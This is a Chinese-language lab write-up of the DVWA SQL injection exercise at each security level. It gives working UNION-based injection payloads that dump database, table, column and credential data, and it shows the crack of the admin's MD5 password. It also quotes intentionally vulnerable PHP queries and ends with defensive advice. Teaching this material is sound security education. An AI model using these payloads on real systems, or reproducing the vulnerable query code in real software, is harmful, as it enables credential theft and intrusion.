DVWA-SQL Injection SQL注入

概念

SQL注入，是指将特殊构造的恶意SQL语句插入Web表单的输入或页面请求的查询字符串中，从而欺骗后端Web服务器以执行该恶意SQL语句。

成功的 SQL 注入漏洞可以从数据库中读取敏感数据、修改数据库数据（插入/更新/删除）、对数据库执行管理操作（例如关闭 DBMS），恢复 DBMS 文件系统上存在的给定文件的内容（load_file），并在某些情况下向操作系统发出命令。

SQL 注入攻击是一种注入攻击，其中 SQL 命令被注入到数据平面输入中，以便执行预定义的 SQL 命令。

这种攻击也可以称为“SQLi”。

目的

数据库中有 5 个用户，ID 从 1 到 5。您的任务...通过SQLi窃取他们的密码。

漏洞分析

危害

通过SQL注入漏洞，数据库中的关键数据可能会被窃取，如管理员的账号和密码、用户的身份证号码和手机号等个人信息；数据库中存储的数据可能会被篡改，以进行挂马、钓鱼或其他攻击方式的间接利用；甚至，在拥有较高权限时，可以直接获取Web Shell或者执行系统命令等。因此，SQL注入漏洞的危害是绝对不容小觑的。

低水平

输入id，在页面显示了id，first name和surname。

只输入一个‘，点击submit，出现了SQL错误提示，说明后台直接执行了SQL，可能存在了SQL注入。数据库执行了输入的特殊构造语句，可能存在SQL注入漏洞。

输入 1 or 1=1，显示了id为1的信息

输入 1 ' or 1=1 # 显示了所有用户的“First name”和“Surname”，如图

在构造语句时，为了避免SELECT语句中额外增加限制子句，我们经常会在最后加上符号“#”。“#”是注释符，表示这个符号后面的语句不会被执行。

确认SQL注入类型后，我们可以构造SQL语句来获取数据库名。但是想要用SQL语句来获取数据库名，就需要在原来的SQL语句中再拼接一个SQL语句，也就是需要使用联合查询语句union。union语句要求前后两个SELECT子句的字段数相同，因此，我们必须先来获取查询语句的字段数。

输入1 ' or 1=1 order by 1 # ，发现结果按照First name排序，说明First name是查询结果第一个字段，1 ' or 1=1 order by 2 #，发现结果按照surname排序，说明是第二个字段

输入 1 ' or 1=1 order by 3 #，显示报错，说明SELECT子句的字段数为2。

构造union语句，1' union select 1,database()# 在第二个位置会显示数据库的名

获取数据库的表名：

在MySQL数据库中，有一个默认自带的系统数据库information_schema。该数据库本质上是一个视图，存储了数据库的元数据，也就是存储了所有数据库的相关信息，如数据库information_schema中的数据表TABLES中存储了数据库服务器中所有数据库的所有数据表的信息。数据表information_schema.tables中显示的TABLE_SCHEMA字段为数据表所在的数据库名，TABLE_NAME字段为数据表名。这样，通过数据库的数据表information_schema.tables就能获取到dvwa数据库中存储了哪些数据表。

SELECT first_name, last_name FROM dvwa.users WHERE user_id = '1' UNION SELECT 1, table_name from information_schema.`TABLES` where TABLE_SCHEMA="dvwa"

可以看到dvwa有两个表，分别是guestbokk和users

找到字段名

information_schema.columns表中显示了TABLE_SCHEMA（数据库名）、TABLE_NAME（数据表名）、COLUMN_NAME（字段名），以及其他数据信息

SELECT first_name, last_name FROM dvwa.users WHERE user_id = '1' UNION SELECT 1, column_name from information_schema.`COLUMNS` where TABLE_SCHEMA="dvwa"

1' UNION SELECT 1, column_name from information_schema.`COLUMNS` where TABLE_SCHEMA="dvwa"#

可以看到显示了表字段，包含user,passwword

获取字段对应数据

找到账号密码，输入如下语句，可以看到输出了账号，密码信息。

1' UNION SELECT user, password from dvwa.users#

密码解密

用户admin的密码是经过MD5加密后存储的数据，因此，想要获取明文密码，必须进行MD5解密。大家可以在线进行解密，比如通过在线网站CMD5进行解密

获取到了DVWA平台管理员用户的账号为admin，对应的密码为password。有了管理员用户的账号和密码，攻击者就可以使用管理员权限进入该平台，进行后续的入侵和破坏，比如在DVWA的网站上挂马、篡改网页内容

初级SQL手工注入渗透测试过程：

①判断系统是否可能存在SQL注入漏洞，以及SQL注入类型是数字型注入还是字符型注入。②获取SELECT语句的字段数，以使用联合查询语句union拼接想要执行的SELECT语句。基于MySQL系统数据库中的各个数据表和SQL语句语法构造用户输入，形成可在MySQL数据库中正确执行的语句以依次获取：数据库名→数据表名→指定数据表中的字段名→指定字段的数据。③获取管理员的用户名，并破解管理员的MD5密码。

从源码可以看到，从获取前端用户输入的id参数值到SQL语句的执行，没有设置任何对用户输入的防护，攻击者可以在查询表单的输入处实施SQL注入。

$id = $_REQUEST[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            mysqli_close($GLOBALS["___mysqli_ston"]);
            break;

中级

在中级中，选项为下拉菜单，且以post方式提交。无法直接在页面修改选项，需要使用burpsuite拦截后修改负载再发送。

查找注入类型

使用参数 1 or 1=2，显示了所有结果，说明为数字型注入。

找到数据库名

获取的数据表名

4 union select 1，group_concat(table_name)from information_schema.tables where table_schema=′dvwa′#

发生错误，因为引号被转义为/

为了绕过防护，可以使用Burp Suite的Decoder模块，将“dvwa”直接转换为十六进制数据。在“Decoder”界面输入需要转换的字符串“dvwa”，选择“Encode as”下拉列表中的“ASCII hex”选项,就可以获取到“dvwa”对应的十六进制数据“64767761"十六进制数据以“0x”开头，因此，“dvwa”对应的十六进制数据可以使用“0x64767761”表示

获取字段名

id=1 union select 1,group_concat(column_name)from information_schema.columns where table_name=0x7573657273#&Submit=Submit

获取字段对应数据

id=1 union select user,password from users#&Submit=Submit

中级使用SQL注入保护的一种形式，具有 “mysql_real_escape_string（）”。但是，由于 SQL 查询的参数周围没有引号，因此这不会完全保护查询不被更改。

// Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

高水平

与初级、中级SQL手工注入渗透测试环境的源代码对比、分析可以发现：①id参数是通过SESSION的方式传递到后端的。②SQL语句中增加了“LIMIT 1”的限制，每次只能返回一条记录；③在发生错误时，不返回具体的错误信息，只返回提示语句“Something went wrong.”。


<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    switch ($_DVWA['SQLI_DB']) {
        case MYSQL:
            // Check database
            $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
            $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

            // Get results
            while( $row = mysqli_fetch_assoc( $result ) ) {
                // Get values
                $first = $row["first_name"];
                $last  = $row["last_name"];

                // Feedback for end user
                echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
            }

            ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
            break;

使用# 来绕过limit 1的限制

1'or 1=1 # 说明为字符型注入

找到数据库名

1 ' union select 1,database()#

找到表名

1' union select 1,group_concat(table_name)from information_schema.`TABLES` where table_schema='dvwa'#

找到字段名

1'union select 1,group_concat(column_name)from information_schema.`COLUMNS` where table_name='users'#

高级防护，后端主要通过“LIMIT 1”来限制返回数据的个数，这个防护措施通过“#”注释符就可以轻松绕过高级

防护方法

1、输入验证和处理

客户端或服务器端对ID进行数字类型的检验，禁止字符的输入

其次，对特殊字符进行转义。如：对SQL注入过程中常用的单引号“′”、百分号“%”、下画线“_”等符号进行转义。PHP中的mysql_escape_string()函数就可以实现字符转义的功能。在客户端和服务器端对所有的输入数据进行长度、类型、范围、格式等的合规性检查，拒绝不合法数据的接收，并且对输入的特殊字符做一定的处理

2、数据库配置

数据库连接遵循“最小权限”原则。在Web应用程序访问数据库时，禁止任何管理员权限账户（如root、sa等）的连接。由于业务需求，可以单独为应用程序创建权限较低的账户，进行有限访问。其次，关键数据务必加密后存储。对于关键或敏感信息，可以加密或哈希后再存储到数据库，这样，攻击者即使获取到这些数据，也无法加以利用。

3、预编译和参数化语句

不可能的水平

 $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
                $data->bindParam( ':id', $id, PDO::PARAM_INT );
                $data->execute();
                $row = $data->fetch();

                // Make sure only 1 result is returned
                if( $data->rowCount() == 1 ) {
                    // Get values
                    $first = $row[ 'first_name' ];
                    $last  = $row[ 'last_name' ];

                    // Feedback for end user
                    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
                }

对Impossible级SQL手工注入渗透测试环境的源代码进行分析可以发现，主要防护措施为：使用Anti-CSRF token防止CSRF攻击；通过prepare()函数进行预编译，绑定变量id，将代码和数据分离，且确保返回数据为1条，对SQL注入攻击进行有效防护。

参考《web渗透测试与防护慕课版》